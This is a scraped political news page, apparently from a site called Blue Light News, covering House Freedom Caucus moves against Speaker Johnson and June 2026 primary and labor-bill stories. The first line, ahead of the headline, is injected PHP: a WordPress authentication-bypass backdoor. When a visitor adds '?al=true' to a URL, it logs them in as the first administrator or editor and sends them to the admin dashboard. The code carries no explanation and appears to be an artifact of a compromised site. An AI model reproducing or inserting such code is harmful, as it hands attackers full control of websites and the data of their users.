// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Freedom Caucus backs off plan to push a challenger to Johnson – Blue Light News
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Freedom Caucus backs off plan to push a challenger to Johnson

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2 years ago

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House conservatives are planning to force an internal vote on Mike Johnson’s speakership during Wednesday’s leadership election instead of throwing in an alternate candidate, two people familiar with the discussions told Blue Light News.

Johnson’s critics in the House Freedom Caucus have been deliberating for days over how to push back against proposed internal rules changes and send a message to the Louisiana Republican. Hours earlier, members of the group still expected to likely put forth a formal challenger against Johnson, though they hadn’t publicly announced a name.

But the two people familiar with the discussions, granted anonymity to discuss private planning, said on Tuesday night that the group’s plan is now to force an internal vote. Essentially, that means they would prevent leadership from allowing Johnson to be nominated for speaker by a simple voice vote that would have allowed him to say he was nominated unanimously. Instead, members would go ahead with the secret ballot process, giving them the option to oppose Johnson’s speaker nomination without revealing who they are.

The Freedom Caucus met privately to discuss their plan for hours on Tuesday. The two people familiar added that the group would only formally throw in a challenger if their plan to force a ballot vote is blocked, but they don’t expect it to be.

“It’s counterproductive” to formally name a challenger, one of the people familiar said. They added that the group had three people willing to jump in as formal challengers.

Conservatives’ frustration with Johnson is being fueled by a series of rules proposals, circulated on Tuesday, which included several amendments to the House GOP’s rules that would punish members who broke with the conference on certain procedural and leadership votes.

Johnson told Blue Light News Tuesday night that he didn’t support rule changes that would punish members. But that isn’t enough for some of his holdouts, who actively want him to go into a candidate forum tomorrow and tell his members to vote down those rule proposals. Without more forceful action from Johnson, conservatives believe the potential changes could be adopted during a Thursday meeting, when Republicans will set their internal rules.

The other person familiar with the discussions said that if Johnson tells his conference to vote down the proposed rules changes during an internal meeting on Wednesday morning, before the leadership elections, the group may drop their plan to force the secret-ballot vote.

“Stand up and tell the conference this is not going to happen. I’m not going to support this. Vote this down, and then everyone knows,” that person said.

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Congress

Trump-backed Marty O’Donnell wins primary for battleground Nevada House seat

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4 hours ago

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June 10, 2026

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Trump-endorsed Marty O’Donnell won the GOP primary Tuesday to take on Democratic Rep. Susie Lee in Nevada’s battleground 3rd District.

The seat, which touches parts of Las Vegas, is one of Republicans’ targeted pickups this November since President Donald Trump carried it by less than 1 percentage point in 2024 after losing it by nearly seven points in 2020.

But O’Donnell — who also has the backing of the National Republican Congressional Committee — will face an uphill battle. He recently came under fire for hosting a neo-Nazi influencer on his podcast. Trump’s tariffs have hit the district hard, with Canadian tourism to Sin City down by 17 percent, leaving Democrats confident they can hold the seat.

O’Donnell is best known for his role as the audio composer for the “Halo” video game series. It’s his second run in the district after placing fourth in the 2024 Republican primary.

O’Donnell bested several candidates Tuesday, with businessperson Tera Anderson and former Ambassador to Iceland Jeff Gunter — who ran for Senate in 2024 — putting up the most significant challenges.

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Sen. Lindsey Graham wins primary over ‘America First’ challenger

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7 hours ago

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June 10, 2026

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South Carolina Sen. Lindsey Graham is on his way to clinching his fifth term in the Senate.

Graham won the Republican primary for Senate on Tuesday, vanquishing five opponents that included businessperson Mark Lynch — who challenged the senator over his staunch support for the war in Iran and long history in Washington. Lynch also drew support from some of the president’s most prominent MAGA Republican critics.

But Graham won more than half the primary vote, allowing him to avoid an embarrassing two-week runoff sprint. He is expected to cruise to victory in November; a Democrat has not represented the state in the Senate since 2005, when longtime Sen. Fritz Hollings chose not to seek reelection.

The four-term senator spent big in the final weeks of the campaign to make sure he won, combining with his allies to spend over $18 million in television and digital ads touting his record and endorsement from President Donald Trump. That spending proved to be decisive in staving off Lynch’s challenge from the right.

He even called in the big guns for a last minute bump, bringing in Trump, who reaffirmed his support for his occasional frenemy in a telerally on the eve of the primary election.

Graham’s success is a loss for the strict “America First” wing of the GOP that has criticized the president’s new interventionist foreign policy streak, including former Rep. Marjorie Taylor Greene, former Trump White House chief strategist Steve Bannon and former counterterrorism official Joe Kent. They came out in support of Lynch during the final stretch of the campaign, though that was not enough to upset Graham, a fixture of Columbia and Washington politics.

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20 House Republicans cross party lines to pass pro-union bill

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9 hours ago

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June 9, 2026

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Twenty House Republicans broke with Speaker Mike Johnson to help pass a Democratic-led bill Tuesday aimed at making it easier for workers to form unions, widening the divide between a bloc of pro-labor Republicans and GOP leaders.

Democrats successfully used a discharge petition to sidestep Johnson and force the vote with the help of a handful of House Republicans, including Reps. Don Bacon of Nebraska, Brian Fitzpatrick of Pennsylvania and Nick LaLota of New York.

“It’s passing,” Fitzpatrick said before the vote when asked about Johnson’s efforts to whip Republicans against the bill.

The Faster Labor Contracts Act aims to reduce the amount of time between workers voting to form a union and negotiating their first collectively bargained contract, in part by requiring the parties to more quickly enter federal mediation. It’s the latest in a series of employment bills that pro-union House Republicans have bucked their party on in recent months.

House Education and Workforce Chair Tim Walberg (R-Mich.) spoke out sharply against the bill on the floor Tuesday, saying it would “threaten jobs, kill growth and in some cases, shut business down entirely.” But a hefty subset of Republicans backed the bill nonetheless, joining all voting Democrats.

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